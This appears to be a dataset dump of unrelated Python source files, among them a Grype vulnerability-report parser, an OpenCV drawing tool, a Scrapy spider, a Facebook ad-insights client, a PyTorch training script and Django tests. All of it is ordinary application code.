"""
if self._show_all:
response = 'NAME,INSTALLED,VULNERABILITY,SEVERITY,ALLOWED\n'
else:
response = 'NAME,INSTALLED,VULNERABILITY,SEVERITY\n'
for row in self._vulnerabilities:
if not self._show_all:
row = row[:-1]
response += ','.join(row)
response += '\n'
return response
def add(self, name, installed, vulnerability, severity, allowed):
"""
Add a vulnerability to the list.
Parameters
----------
name : str
The name of the vulnerability (e.g. apt).
installed : str
The version of the installed software (e.g. 1.8.2.2).
vulnerability : str
The ID of the vulnerability (e.g. CVE-2011-3374).
severity : str
The severity of the vulnerability.
allowed : bool
Is the vulnerability in the allowed list.
"""
if allowed:
allowed = 'yes'
else:
allowed = 'no'
for v in self._vulnerabilities:
if v[2] == vulnerability:
return
self._vulnerabilities.append([
name,
installed,
vulnerability,
severity,
allowed])
def main():
"""Process a command line request."""
widget = ParseGrypeJSON()
logging.debug(f'argv {",".join(sys.argv)}')
if len(sys.argv) > 1:
widget.filename(sys.argv[1])
sys.exit(widget.report())
if __name__ == "__main__":
main()
|
16,940 | c26b811c4f07a54e4aa2c4582880eb59a3a192f4 | import cv2 as cv
import argparse
global isDrawing
global start_coords
global storage
# Classes
class CommandStorage:
storage = []
def to_string(self):
print("Command storage state: ")
for i, command in enumerate(self.storage):
print("Command " + str(i) + ": X1:{0} Y1:{1} X2:{2} Y2:{3}".format(command.x1,
command.y1,
command.x2,
command.y2))
def revert_last(self):
if len(self.storage) > 0:
return self.storage[-1].revert()
return None
def apply(self, command, local_image):
command.apply(local_image, self.storage)
class Command:
x1 = 0
y1 = 0
x2 = 0
y2 = 0
image = None
storage = None
def __init__(self, x1=0, y1=0, x2=0, y2=0):
self.x1 = x1
self.y1 = y1
self.x2 = x2
self.y2 = y2
def to_string(self):
return "X1:{0} Y1:{1} X2:{2} Y2:{3}".format(self.x1, self.y1, self.x2, self.y2)
def apply(self, local_image, local_storage):
self.image = local_image.copy()
self.storage = local_storage
self.storage.append(self)
print("Drawing")
cv.rectangle(local_image,
(int(self.x1), int(self.y1)),
(int(self.x2), int(self.y2)),
(255, 255, 0), 2)
print("End coords: {} * {}".format(self.x2, self.y2))
view_image(local_image, "image")
def revert(self):
self.storage.remove(self)
print("Revert command " + self.to_string())
return self.image
# Static Functions
def shape_selection(event, x, y, flags, param):
global isDrawing
global start_coords
if event == cv.EVENT_LBUTTONDOWN:
isDrawing = True
start_coords = [x, y]
print("Start coords: {} * {}".format(x, y))
if event == cv.EVENT_LBUTTONUP:
if isDrawing:
isDrawing = False
storage.apply(Command(start_coords[0], start_coords[1], int(x), int(y)), param[0])
def view_image(img, name_of_window):
cv.destroyWindow("image")
cv.namedWindow(name_of_window, cv.WINDOW_AUTOSIZE)
cv.setMouseCallback("image", shape_selection, (img, name_of_window))
cv.imshow(name_of_window, img)
key = cv.waitKey(0)
# press 'r' to reset the window
if key == ord("r"):
storage.storage.clear()
view_image(clone, "image")
# if the 'esc' key is pressed, cancel command
elif key == 27:
reverted_image = storage.revert_last()
if reverted_image is not None:
view_image(reverted_image, "image")
else:
print("There are no commands to revert")
view_image(img, "image")
# if the 'l' key is pressed, show applied commands
elif key == ord("l"):
storage.to_string()
view_image(img, "image")
# if the 'c' key is pressed, break from the loop
elif key == ord("c"):
cv.destroyAllWindows()
# App
# construct the argument parser and parse the arguments
ap = argparse.ArgumentParser()
ap.add_argument("-i", "--image", required=True, help="Path to the image")
image = cv.imread(vars(ap.parse_args())["image"])
clone = image.copy()
storage = CommandStorage()
view_image(clone, "image")
|
16,941 | c9686f08f796af7ad78d1ac1276c7da5675dac82 | import time
import webbrowser
import os
import random
#create text file youtubeLinks.txt if it does not exist already
if os.path.isfile("youtubeLinks.txt") == False:
print("No videos present. Creating file.")
flags = os.O_CREAT | os.O_EXCL | os.O_WRONLY
makeFile = os.open("youtubeLinks.txt", flags)
with os.fdopen(fisierCreat, 'w') as fileCreate:
fileCreate.write("https://www.youtube.com/watch?v=dQw4w9WgXcQ")
#Read url's into variable videos
with open("youtubeLinks.txt") as f:
videos = f.readlines()
#Get time for the alarm from user
print("Enter a time to be awoken? (Between 00:00 and 24:00) Or type 'Settings' for alarm clock settings")
wake = input("--> ")
#Get current time
currentTime = time.strftime("%H:%M")
#Check to see if current time is equal to the time you want to awake. Sleep if not equal
while currentTime != wake:
print("The time is " + currentTime)
currentTime = time.strftime("%H:%M")
time.sleep(1)
#If the two times equal then pick a random video from the list 'videos' and open it in your default web browser
if currentTime == wake:
print("It is now", currentTime, ". Wake up dummy.")
random_youtube = random.choice(videos)
webbrowser.open(random_youtube, new=0, autoraise=True)
|
16,942 | 295132da1ff1b01018d48cfe2f66dcbb97974609 | import json
import os
class DbCredentials:
def __init__(self):
''' Currently set up to use VCAP
but may need to adapt to use json line
'''
dbinfo = json.loads(os.environ['VCAP_SERVICES'])['sqldb'][0]
dbcred = dbinfo["credentials"]
self.db = dbcred['db']
self.hostName = dbcred['hostname']
self.port = dbcred['port']
self.uid = dbcred['username']
self.pwd = dbcred['password']
|
16,943 | 46ac43221f3e74157507635ab8365476659f6033 | # -*- coding: utf-8 -*-
import scrapy
from slugify import slugify
import os
import sys
import json
from urllib.parse import urlparse, urljoin
import datetime as dt
import re
date = '{}.{}.{}'.format(dt.datetime.now().year,dt.datetime.now().month,dt.datetime.now().day)
folder_name = os.getcwd()+'/../data/adondevivir/'+date
if not os.path.isdir(folder_name):
try:
os.mkdir(folder_name)
except:
os.rmdir(folder_name)
os.mkdir(folder_name)
def make_folder_adv(folder_name):
date = '{}.{}.{}'.format(dt.datetime.now().year,dt.datetime.now().month,dt.datetime.now().day)
#folder_name = os.getcwd()+'/../data/adondevivir/'+date
if not os.path.isdir(folder_name):
try:
os.mkdir(folder_name)
except:
os.rmdir(folder_name)
os.mkdir(folder_name)
class AdondevivirSpider(scrapy.Spider):
name = 'adondevivir'
allowed_domains = ['adondevivir.com']
start_urls = ['https://adondevivir.com/']
#make_folder_adv()
def start_requests ( self ):
yield scrapy.Request('https://www.adondevivir.com/inmuebles-en-venta-ordenado-por-fechaonline-descendente.html', self.parse)
def parse(self,response):
for product in response.xpath('//h3[has-class("posting-title")]/a'):
href = response.urljoin((product.xpath('@href').extract_first()))
yield scrapy.Request(href, callback=self.parse_product,errback=self.error_parse_product)
nextUrl = response.urljoin(response.xpath("//*[@class='pag-go-next']/a").attrib['href'])
if(nextUrl):
yield scrapy.Request(nextUrl,callback=self.parse)
def parse_product(self,response):
data = {}
data['tipo']=response.xpath('//h2[@class="title-type-sup"]/b/text()').get().split(' ')[0]
keys = response.xpath('//*[@class="icon-feature"]//span/text()').getall()
vals = response.xpath('//*[@class="icon-feature"]//b/text()').getall()
for i in range(len(keys)):
data[keys[i]]=vals[i]
data['vinetas']=response.xpath('//ul[@class="section-bullets"]/li//text()').getall()
data['descripcion']=response.xpath('//div[@id="verDatosDescripcion"]//text()').getall()
data['anunciante']=response.xpath('//h3[@class="publisher-subtitle"]/b/text()').get()
data['precio-soles']=response.xpath('//div[@class="price-items"]//text()').getall()[0]
data['precio-dolares']=response.xpath('//div[@class="price-items"]//text()').getall()[1]
try:
coords=re.split('center=|&zoom',response.xpath('//img[@id="static-map"]').attrib['src'])[1]
data['coordenadas']=[float(item) for item in coords.split(',')]
except:
data['coordenadas']=[]
with open(folder_name+'/datos.txt','a') as f:
f.write('{}\n'.format(data));
def error_parse_product(self, failure):
print('error')
if __name__ == '__main__':
folder_name = os.getcwd()+'/../data/adondevivir/'+date
make_folder_adv(folder_name) |
16,944 | 9de6798dbaaa4e622a3fe8407593108088349b6d | # ๐จ Don't change the code below ๐
print("Welcome to life time left before 90!")
age = input("What is your current age? ")
# ๐จ Don't change the code above ๐
#Write your code below this line ๐
timeleft = 90 - int(age)
x = 365 * timeleft
y = 52 * timeleft
z = 12 * timeleft
print("++++++++++++++++++++++++++++++++++++++++++++++")
print(f"You have {x} days,{y} weeks, and {z} months left")
|
16,945 | 04fd7612d9f3436104590d8ce528ccd501afdcb3 |
from datetime import timedelta
from .base import AbstractCombinedNode
from ebu_tt_live.clocks.media import MediaClock
from ebu_tt_live.documents.converters import EBUTT3EBUTTDConverter
from ebu_tt_live.documents import EBUTTDDocument, EBUTT3Document
class EBUTTDEncoder(AbstractCombinedNode):
_ebuttd_converter = None
_default_ns = None
_default_ebuttd_doc = None
_expects = EBUTT3Document
_provides = EBUTTDDocument
def __init__(self, node_id, media_time_zero, default_ns=False, producer_carriage=None,
consumer_carriage=None, **kwargs):
super(EBUTTDEncoder, self).__init__(
producer_carriage=producer_carriage,
consumer_carriage=consumer_carriage,
node_id=node_id,
**kwargs
)
self._default_ns = default_ns
media_clock = MediaClock()
media_clock.adjust_time(timedelta(), media_time_zero)
self._ebuttd_converter = EBUTT3EBUTTDConverter(
media_clock=media_clock
)
self._default_ebuttd_doc = EBUTTDDocument(lang='en-GB')
self._default_ebuttd_doc.set_implicit_ns(self._default_ns)
self._default_ebuttd_doc.validate()
def process_document(self, document, **kwargs):
# Convert each received document into EBU-TT-D
if self.is_document(document):
self.limit_sequence_to_one(document)
converted_doc = EBUTTDDocument.create_from_raw_binding(
self._ebuttd_converter.convert_document(document.binding)
)
# Specify the time_base since the FilesystemProducerImpl can't derive it otherwise.
# Hard coded to 'media' because that's all that's permitted in EBU-TT-D. Alternative
# would be to extract it from the EBUTTDDocument but since it's the only permitted
# value that would be an unnecessary overhead...
self.producer_carriage.emit_data(data=converted_doc, sequence_identifier='default', time_base='media', **kwargs)
|
16,946 | 40074ce52e976b646a817e4bd50b9e43f644a590 | import os
import numpy as np
def getUsers(usersFile):
users = open(usersFile, "r")
users = users.read().split('\n')
users = users[0:len(users)-1]
return users
def getGT(gtFile):
gt = open(gtFile, "r")
gt_lines = gt.read().split('\n')
gt_lines = gt_lines[0:len(gt_lines) - 1]
gt_users, gt_sigs, gt_labels = [], [], []
for e in gt_lines:
ind_dash = e.find('-')
ind_space = e.find(' ')
gt_users.append(e[0:ind_dash])
gt_sigs.append(e[ind_dash+1:ind_space])
gt_labels.append(e[ind_space+1:])
return gt_users, gt_sigs, gt_labels
def getAllFileNames(folderpath):
files = []
# r=root, d=directories, f = files
for r, d, f in os.walk(folderpath):
for file in f:
if '.txt' in file:
files.append(os.path.join(r, file))
return files
def getData(usersFile, gtFile, enrollmentFolder, verificationFolder):
#Get users
users = getUsers(usersFile)
#Get GT
if gtFile != None:
gt_users, gt_sigs, gt_labels = getGT(gtFile)
else:
gt_users, gt_sigs, gt_labels = None, None, None
#All enrollment files in enrollment folder
enrollmentFiles = getAllFileNames(enrollmentFolder)
verification_files = getAllFileNames(verificationFolder)
return users, gt_users, gt_sigs, gt_labels, enrollmentFiles, verification_files
|
16,947 | e2697f4532bd4bd985dd43c03889f6592753519e | import cv2
import numpy as np
import sys
file_name = "video.mp4"
file_name = sys.argv[1]
cap = cv2.VideoCapture(file_name)
cnt = 0
while (cap.isOpened()):
cnt += 1
ret, frame = cap.read()
cv2.imwrite("frame{}.jpg".format(cnt), frame)
if cv2.waitKey(20) == 27 or 0xFF == ord('q'):
break
cap.release()
cv2.destroyAllWindows()
|
16,948 | b8515010e10d403afbe7f8f087ec2a4627af3b3b | #!/usr/bin/python
# -*- coding:utf-8 -*-
import urllib2
import logging
import json
class FacebookApi(object):
def __init__(self, appid=None, secret=None):
self.appid = appid
self.secret = secret
self.status = True # True:success
self.message = None
self.data = None
self.dimension = []
self.field_list = ["revenue", "request", "filled", "impression", "click", "placement", "country"]
self.event_names = {
"revenue": {'event_name': 'fb_ad_network_revenue', 'aggregate': 'SUM'},
"request": {'event_name': 'fb_ad_network_request', 'aggregate': 'COUNT'},
"filled": {'event_name': 'fb_ad_network_request', 'aggregate': 'SUM'},
"impression": {'event_name': 'fb_ad_network_imp', 'aggregate': 'COUNT'},
"click": {'event_name': 'fb_ad_network_click', 'aggregate': 'COUNT'},
}
self.has_country = False
self.has_placement = False
def fetch(self, time_start=None, time_stop=None, fields=None):
# check fields
for f in fields:
if f not in self.field_list:
self.report_error("FaceBookApi.fetch():%s not in field_list:[%s]" % (f, self.field_list))
return
if not time_start or not time_stop \
or not isinstance(time_start, int) \
or not isinstance(time_stop, int) or time_start > time_stop \
or not isinstance(fields, (list, tuple)):
self.report_error("FaceBookApi.fetch(%s,%s,%s):Bad Parameter" % (time_start, time_stop, fields))
return
self.data = {}
self.has_country = False
self.has_placement = False
if "country" in fields:
self.has_country = True
# fields.__delitem__(fields.index("country"))
if "placement" in fields:
self.has_placement = True
# fields.__delitem__(fields.index("placement"))
for fff in fields:
if fff not in self.event_names:
continue
event_name = self.event_names[fff]["event_name"]
aggregate = self.event_names[fff]["aggregate"]
token = self.get_token()
text = self.get_data(token, time_start=time_start, time_stop=time_stop,
event_name=event_name, aggregate=aggregate)
if not text:
self.report_error("FaceBookApi.fetch.get_data:NONE")
continue
self.parse_data(text, fff)
# prepare data
res = []
unique_key_list = self.data.keys()
for key in unique_key_list:
dt = self.data.get(key, None)
if not isinstance(dt, dict):
continue
time_str, country, placement = key.split("\0")
dt["date"] = time_str
# if self.has_country:
dt["country"] = country
# if self.has_placement:
dt["placement"] = placement
res.append(dt)
return res
def report_error(self, msg):
self.status = False
if not isinstance(self.message, list):
self.message = []
self.message.append(msg)
logging.error(msg)
def status(self):
return self.status
def message(self):
return self.message
def get_token(self):
access_token = None
url = 'https://graph.facebook.com/oauth/access_token'
url += '?client_id=' + self.appid
url += '&client_secret=' + self.secret
url += '&grant_type=client_credentials'
try:
f = urllib2.urlopen(url)
data = f.read()
_js = json.loads(data)
_token = _js['access_token']
access_token = "access_token=%s" % _token
except Exception as e:
self.report_error("FaceBookApi.get_token():Exception:%s" % e)
finally:
return access_token
def get_data(self, token, time_start, time_stop, event_name, aggregate):
url = 'https://graph.facebook.com/v2.5/' + self.appid
url += '/app_insights/app_event/?since=%s' % time_start
url += '&until=%s' % time_stop
url += '&summary=true&event_name=' + event_name
url += '&aggregateBy=' + aggregate
if self.has_placement and self.has_country:
url += '&breakdowns[0]=placement'
url += '&breakdowns[1]=country'
elif self.has_placement:
url += '&breakdowns[0]=placement'
elif self.has_country:
url += '&breakdowns[0]=country'
url += '&' + token
logging.info("FaceBookApi.get_data():URL:'%s'" % url)
data = None
try:
f = urllib2.urlopen(url)
data = f.read()
except Exception as e:
logging.exception(
"FaceBookApi.get_data():[%s,%s,%s,%s]Exception:%s" % (self.appid, token, event_name, aggregate, e))
finally:
return data
def parse_data(self, data_json, field_name):
try:
js = json.loads(data_json)
lst = js.get('data')
for rec in lst:
time_str = rec.get("time", None)
if not time_str: # or timestr[:len('2016-10-25')] != dest_time_str:
logging.error("FaceBookApi:parse_data:{Time Is None}[%s]%s:" % (field_name, json.dumps(rec)))
continue
time_str = time_str[:10] # len('2016-10-25')
value = rec.get("value", None)
if not value:
logging.error("FaceBookApi:parse_data:{Value Is None}:%s:" % json.dumps(rec))
continue
breakdowns = rec.get("breakdowns", None)
placement = "unknown"
country = "00"
if breakdowns:
placement = breakdowns.get("placement", "none")
country = breakdowns.get("country", "none")
if country == "REDACTED":
country = "00"
self.save_data(time_str, country, placement, field_name, value)
except Exception as e:
logging.exception("parse_data:Exception:%s:data:[%s]" % (e, data_json))
finally:
return
def save_data(self, time_str, country, placement, field_name, value):
# print (time_str, country, placement)
unique_key = '\0'.join((time_str, country, placement))
dt = self.data.get(unique_key, None)
if not dt or not isinstance(dt, dict):
self.data[unique_key] = {"%s" % field_name: value}
else:
dt["%s" % field_name] = value
# below are test
def init_log(log_file, debug=False):
# set up logging to file - see previous section for more details
logging.basicConfig(level=logging.DEBUG,
format='%(asctime)s %(name)-12s %(levelname)-8s %(message)s',
datefmt='%m-%d %H:%M',
filename=log_file,
filemode='a')
if debug:
# define a Handler which writes INFO messages or higher to the sys.stderr
console = logging.StreamHandler()
console.setLevel(logging.INFO)
# set a format which is simpler for console use
formatter = logging.Formatter('%(name)-12s: %(levelname)-8s %(message)s')
# tell the handler to use this format
console.setFormatter(formatter)
# add the handler to the root logger
logging.getLogger('').addHandler(console)
if __name__ == "__main__":
init_log("facebook.log", True)
# facebook = FacebookApi("00", "00")
import config
import os
os.environ['http_proxy'] = 'http://127.0.0.1:8118'
os.environ['https_proxy'] = 'http://127.0.0.1:8118'
auth = config.facebook_appid_config['amber_weather']
facebook = FacebookApi(auth['appid'], auth['secret'])
token = facebook.get_token()
data = facebook.fetch(1479600000, 1479772800,
["revenue", "request", "filled", "impression", "click", "country", "placement"])
print data
print facebook.status
print facebook.message
|
16,949 | c55d79c0cb9d68ebc7150c94e969f12c4f3d0795 | days = int(input('O carro foi alugado por quantos dias? '))
kms = float(input('Quandos Km foram rodados? '))
totalPrice = (60 * days) + (0.15 * kms)
print('Total a pagar:', totalPrice) |
16,950 | be636e80a54f281835333c38dbdec2fd7de7d79d | # -*- coding:utf-8 -*-
import re
def change_scor(scor):
if scor:
return scor
else:
return 'ๆ ๆณ่ทๅๅๆฐ'
def change_publish(url):
return re.sub('\s', '', url)
def change_price(url):
if len(url) > 1:
return url[1] + url[0]
else:
if 'ๅ
' in url[0]:
return url[0]
else:
return url[0] + 'ๅ
'
def change_author(author):
return re.sub('\s', '', author)
# title
def change_title(title):
return re.sub('\s', '', title)
# ['18', 'August,', '2005']
def change_date(data):
if type(data) == list and len(data) == 3:
return str(data[0] + data[1] + data[2])
else:
return data
|
16,951 | 3eafc3eba5d66b08670e2407cf3f2f2853f81bd5 | from collections import defaultdict as dd
def get_single_doc(path):
for line in open(path):
if "Mean Singleton Coverage" in line:
return float(line.split()[-1])
raise ValueError("Missing field!")
def get_raw_doc(path):
for line in open(path):
if "Mean Raw Coverage" in line:
return float(line.split()[-1])
raise ValueError("Missing field!")
def get_mean_doc(path):
sys.stderr.write("Path: %s.\n" % path)
for line in open(path):
print(line)
if "Mean Collapsed Coverage" in line:
return float(line.split()[-1])
raise ValueError("Missing field!")
def get_mean_egfr(path):
c = s = 0
for line in open(path):
if line[0] == "#": continue
if line.split()[3].startswith("EGFR"):
c += 1
s += float(line.split()[4].split(":")[1])
try: ret = s / c
except ZeroDivisionError:
print(path); raise
return ret
if __name__ == "__main__":
import sys
if len(sys.argv) < 2:
sys.stderr.write("Usage: python %s <bedpath> <bampath> <bampath2> ....\n"
"Emits mean doc and egfr to stdout.\n" % sys.argv[0])
sys.exit(1)
sys.stdout.write("Name\tMean DOC\tMean Raw DOC\tMean Singleton DOC\tMean EGFR DOC\n")
for path in sys.argv[1:]:
try: m, r, s, e = get_mean_doc(path), get_raw_doc(path), get_single_doc(path), get_mean_egfr(path)
except ValueError:
print("Failed at ", path)
raise
sys.stdout.write("%s\t%f\t%f\t%f\t%f\n" % (path, m, r, s, e))
|
16,952 | 5f027707e317bf82df674018c196446b5c70cd9d | from django.contrib.auth.models import User
from django.db.models import Count, Case, When, Avg
from django.test import TestCase
from store.models import Book, UserBookRelation
from store.serializers import BooksSerializer
class BookSerializerTestCase(TestCase):
def test_ok(self):
user1 = User.objects.create(username='user1')
user2 = User.objects.create(username='user2')
user3 = User.objects.create(username='user3')
book_1 = Book.objects.create(name="Test book 1", price=25, author_name='Author 1')
book_2 = Book.objects.create(name="Test book 2", price=55, author_name='Author 3')
book_3 = Book.objects.create(name="Test book Author 1", price=75, author_name='Author 2')
UserBookRelation.objects.create(user=user1, book=book_1, like=True,
rate=5)
UserBookRelation.objects.create(user=user2, book=book_1, like=True,
rate=5)
UserBookRelation.objects.create(user=user3, book=book_1, like=True,
rate=4)
UserBookRelation.objects.create(user=user1, book=book_2, like=True,
rate=3)
UserBookRelation.objects.create(user=user2, book=book_2, like=True,
rate=4)
UserBookRelation.objects.create(user=user3, book=book_2, like=False)
books = Book.objects.all().annotate(
annotated_likes=Count(Case(When(userbookrelation__like=True, then=1))),
rating=Avg('userbookrelation__rate')
).order_by('id')
data = BooksSerializer(books, many=True).data
expected_data = [
{
'id': book_1.id,
'name': book_1.name,
'price': '25.00',
'author_name': book_1.author_name,
'likes_count': 3,
'annotated_likes': 3,
'rating': '4.67',
},
{
'id': book_2.id,
'name': book_2.name,
'price': '55.00',
'author_name': book_2.author_name,
'likes_count': 2,
'annotated_likes': 2,
'rating': '3.50',
},
{
'id': book_3.id,
'name': book_3.name,
'price': '75.00',
'author_name': book_3.author_name,
'likes_count': 0,
'annotated_likes': 0,
'rating': None,
},
]
self.assertEqual(expected_data, data) |
16,953 | 79bd17d5d9068c9e069d5b725abb40c6481170d8 | #!/usr/bin/python
import os
import shutil
import time
from IPython.display import Image
# import matplotlib.pyplot as plt
import numpy as np
import torch
import torch.nn as nn
import torch.nn.parallel
import torch.backends.cudnn as cudnn
import torch.distributed as dist
import torch.optim
import torch.utils.data
import torch.utils.data.distributed
import torchvision.transforms as transforms
import torchvision.datasets as datasets
import torchvision.models as models
import os.path
import DataLoader
# from densenet_modified import *
import sys
# Trainer parameters
print_freq_epochs = 100
use_cuda = True
# Dataset Parameters
batch_size = 32
load_size = 256
fine_size = 224
c = 3
data_mean = np.asarray([0.45834960097,0.44674252445,0.41352266842])
# Training parameters
# architecture = 'resnet34'
# architecture = 'vgg16_bn'
# architecture = 'dense'
lr = 0.1 # densenet default = 0.1,
lr_init = 0.1
momentum = 0.90 # densenet default = 0.9
weight_decay = 1e-3 # densenet default = 1e-4
num_epochs = 125
dummy_text_file = open("dummy_text.txt", "w")
def construct_dataloader_disk():
# Construct DataLoader
opt_data_train = {
#'data_h5': 'miniplaces_128_train.h5',
'data_root': '../../data/images/', # MODIFY PATH ACCORDINGLY
'data_list': '../../data/train.txt', # MODIFY PATH ACCORDINGLY
'load_size': load_size,
'fine_size': fine_size,
'data_mean': data_mean,
'randomize': True
}
opt_data_val = {
#'data_h5': 'miniplaces_128_val.h5',
'data_root': '../../data/images/', # MODIFY PATH ACCORDINGLY
'data_list': '../../data/val.txt', # MODIFY PATH ACCORDINGLY
'load_size': load_size,
'fine_size': fine_size,
'data_mean': data_mean,
'randomize': False
}
loader_train = DataLoader.DataLoaderDisk(**opt_data_train)
loader_val = DataLoader.DataLoaderDisk(**opt_data_val)
return (loader_train, loader_val)
def construct_dataloader_disk_trainval():
opt_data_trainval = {
#'data_h5': 'miniplaces_128_val.h5',
'data_root': '../../data/images/', # MODIFY PATH ACCORDINGLY
'data_list': '../../data/trainval.txt', # MODIFY PATH ACCORDINGLY
'load_size': load_size,
'fine_size': fine_size,
'data_mean': data_mean,
'randomize': False
}
loader_valtrain = DataLoader.DataLoaderDisk(**opt_data_trainval)
return (loader_valtrain)
class AverageMeter(object):
"""Computes and stores the average and current value"""
def __init__(self):
self.reset()
def reset(self):
self.val = 0
self.avg = 0
self.sum = 0
self.count = 0
def update(self, val, n=1):
self.val = val
self.sum += val * n
self.count += n
self.avg = self.sum / self.count
def adjust_learning_rate(lr, optimizer, epoch):
"""Calculates a learning rate of the initial LR decayed by 10 every 30 epochs"""
lr = lr_init * (0.1 ** (epoch // 10))
for param_group in optimizer.param_groups:
param_group['lr'] = lr
return lr
# def adjust_learning_rate(lr, optimizer, epoch): # for densenet (201)
# """Sets the learning rate to the initial LR decayed by 10 after 150 and 225 epochs"""
# lr = lr_init * (0.1 ** (epoch // 20)) * (0.1 ** (epoch // 50))
# for param_group in optimizer.param_groups:
# param_group['lr'] = lr
# return lr
def accuracy(output, target, topk=(1,)):
"""Computes the precision@k for the specified values of k"""
maxk = max(topk)
batch_size = target.size(0)
_, pred = output.topk(maxk, 1, True, True)
pred = pred.t()
correct = pred.eq(target.view(1, -1).expand_as(pred))
res = []
for k in topk:
correct_k = correct[:k].view(-1).float().sum(0, keepdim=True)
res.append(correct_k.mul_(100.0 / batch_size))
return res
def save_checkpoint(filename, model, state, is_best, epoch):
torch.save(state, "models/"+filename) #"densenet121__retraining.tar"
if is_best:
torch.save(model, "results/"+filename)
# train and validate methods adapted from https://github.com/pytorch/examples/blob/master/imagenet/main.py
def train(train_loader, model, criterion, optimizer, epoch, text_file):
batch_time = AverageMeter()
data_time = AverageMeter()
losses = AverageMeter()
top1 = AverageMeter()
top5 = AverageMeter()
# switch to train mode
model.train()
end = time.time()
for i in range(int(train_loader.size()/batch_size)):
input, target = train_loader.next_batch(batch_size)
target = target.long()
# measure data loading time
data_time.update(time.time() - end)
if use_cuda:
target = target.cuda(async=True)
input = input.cuda(async=True)
input_var = torch.autograd.Variable(input)
target_var = torch.autograd.Variable(target)
target_var = target_var.long()
# compute output
output = model(input_var)
loss = criterion(output, target_var)
# measure accuracy and record loss
prec1, prec5 = accuracy(output.data, target, topk=(1, 5))
losses.update(loss.data[0], input.size(0))
top1.update(prec1[0], input.size(0))
top5.update(prec5[0], input.size(0))
# compute gradient and do SGD step
optimizer.zero_grad()
loss.backward()
optimizer.step()
# measure elapsed time
batch_time.update(time.time() - end)
end = time.time()
if i % print_freq_epochs == 0:
print('Epoch: [{0}][{1}/{2}]\t'
'Time {batch_time.val:.3f} ({batch_time.avg:.3f})\t'
'Data {data_time.val:.3f} ({data_time.avg:.3f})\t'
'Loss {loss.val:.4f} ({loss.avg:.4f})\t'
'Prec@1 {top1.val:.3f} ({top1.avg:.3f})\t'
'Prec@5 {top5.val:.3f} ({top5.avg:.3f})'.format(
epoch, i, train_loader.size()/batch_size, batch_time=batch_time,
data_time=data_time, loss=losses, top1=top1, top5=top5))
text_file.write(str(epoch)+str(",")+str(i)+str(",")+str(batch_time.val)+str(",")+str(data_time.val)+str(",")+str(losses.avg)+str(",")+str(top1.avg)+str(",")+str(top5.avg)+"\n")
def validate(val_loader, model, criterion, text_file, epoch):
batch_time = AverageMeter()
losses = AverageMeter()
top1 = AverageMeter()
top5 = AverageMeter()
# switch to evaluate mode
model.eval()
end = time.time()
for i in range(int(val_loader.size()/batch_size)):
input, target = val_loader.next_batch(batch_size)
target = target.long()
if use_cuda:
target = target.cuda(async=True)
input = input.cuda(async=True)
input_var = torch.autograd.Variable(input, volatile=True)
target_var = torch.autograd.Variable(target, volatile=True)
target_var = target_var.long()
# compute output
output = model(input_var)
loss = criterion(output, target_var)
# measure accuracy and record loss
prec1, prec5 = accuracy(output.data, target, topk=(1, 5))
losses.update(loss.data[0], input.size(0))
top1.update(prec1[0], input.size(0))
top5.update(prec5[0], input.size(0))
# measure elapsed time
batch_time.update(time.time() - end)
end = time.time()
if i % print_freq_epochs == 0:
print('Test: [{0}/{1}]\t'
'Time {batch_time.val:.3f} ({batch_time.avg:.3f})\t'
'Loss {loss.val:.4f} ({loss.avg:.4f})\t'
'Prec@1 {top1.val:.3f} ({top1.avg:.3f})\t'
'Prec@5 {top5.val:.3f} ({top5.avg:.3f})'.format(
i, val_loader.size()/batch_size, batch_time=batch_time, loss=losses,
top1=top1, top5=top5))
print(' * Prec@1 {top1.avg:.3f} Prec@5 {top5.avg:.3f}'
.format(top1=top1, top5=top5))
text_file.write(str("val,")+str(epoch)+","+str(i)+str(",")+str(batch_time.val)+str(",")+str(losses.avg)+str(",")+str(top1.avg)+str(",")+str(top5.avg)+"\n")
return top5.avg
criterion = nn.CrossEntropyLoss()
if use_cuda:
criterion = criterion.cuda()
train_loader, val_loader = construct_dataloader_disk()
trainval_loader = construct_dataloader_disk_trainval()
def trainer(filename, lr, momentum, weight_decay):
# filename = "resnet34"
# model = models.__dict__[filename](num_classes=100, pretrained=False)
model = torch.load("results/"+filename+".pt")
if use_cuda:
model = model.cuda()
optimizer = torch.optim.SGD(model.parameters(), lr=lr, momentum=momentum, weight_decay=weight_decay)
best_prec5 = 70.0
text_file_train = open("results/"+filename+".txt", "w")
text_file_val = open("results/"+filename+".txt", "w")
for epoch in range(85,num_epochs):
# check for file
if not os.path.isfile(filename+".txt"):
break
lr = adjust_learning_rate(lr, optimizer, epoch) # turn off for Adam
print("learning rate:", lr)
# train for one epoch
train(train_loader, model, criterion, optimizer, epoch, text_file_train)
# evaluate on validation set
prec5 = validate(val_loader, model, criterion, text_file_val, epoch)
# remember best prec@1 and save checkpoint
is_best = prec5 > best_prec5
best_prec5 = max(prec5, best_prec5)
save_checkpoint(filename+".pt", model, {
'epoch': epoch + 1,
'arch': filename,
'state_dict': model.state_dict(),
'best_prec5': best_prec5,
'optimizer' : optimizer.state_dict(),
}, is_best, epoch)
print("First round of training finished")
model = torch.load("results/"+filename+".pt")
filename_old = filename
filename = filename+"_valtrained"
text_file_train = open("results/"+filename+".txt", "w")
text_file_val = open("results/"+filename+".txt", "w")
print("Training on validation set:")
for epoch in range(num_epochs,num_epochs+15):
# check for file
if not os.path.isfile(filename_old+".txt"):
break
lr = adjust_learning_rate(lr, optimizer, epoch) # turn off for Adam
print("learning rate:", lr) # questionable
# train for one epoch
train(trainval_loader, model, criterion, optimizer, epoch, text_file_train)
# evaluate on validation set
prec5 = validate(val_loader, model, criterion, text_file_val, epoch) # pointless
# remember best prec@1 and save checkpoint
is_best = prec5 > best_prec5
best_prec5 = max(prec5, best_prec5)
save_checkpoint(filename+".pt", model, {
'epoch': epoch + 1,
'arch': filename,
'state_dict': model.state_dict(),
'best_prec5': best_prec5,
'optimizer' : optimizer.state_dict(),
}, is_best, epoch)
return 0
trainer(str(sys.argv[1]),lr, momentum, weight_decay)
|
16,954 | 6d7a894475f69081cc0dd763ea8f98ba81c3660e | a = 4
S = 0
for i in range(4):
S += i
print(S) |
16,955 | 71686234e785f07ea8ac87757899b263eeaf4bac | from fanstatic import Library
from fanstatic import Resource
from js.jquery import jquery
from arche.interfaces import IViewInitializedEvent
from arche.interfaces import IBaseView
from arche.fanstatic_lib import main_css
voteit_site_lib = Library('voteit_site', 'static')
voteit_site_css = Resource(voteit_site_lib, 'css/main.css', depends = (main_css,))
def include_resources(view, event):
voteit_site_css.need()
def includeme(config):
config.add_subscriber(include_resources, [IBaseView, IViewInitializedEvent])
|
